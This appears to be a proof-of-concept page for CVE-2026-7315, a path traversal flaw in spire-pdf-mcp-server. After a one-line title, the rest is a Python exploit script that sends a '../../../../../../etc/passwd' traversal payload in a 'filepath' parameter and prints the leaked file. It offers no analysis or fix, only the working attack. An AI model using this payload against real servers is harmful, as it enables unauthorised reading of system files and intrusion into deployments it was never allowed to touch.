CVE-2026-7315 spire-pdf-mcp-server路径遍历漏洞

import requests # Target URL (example) target_url = "http://target-host:port/api/endpoint" # Malicious payload to traverse directories and read /etc/passwd # Adjust the number of "../" based on the deployment depth payload = { "filepath": "../../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")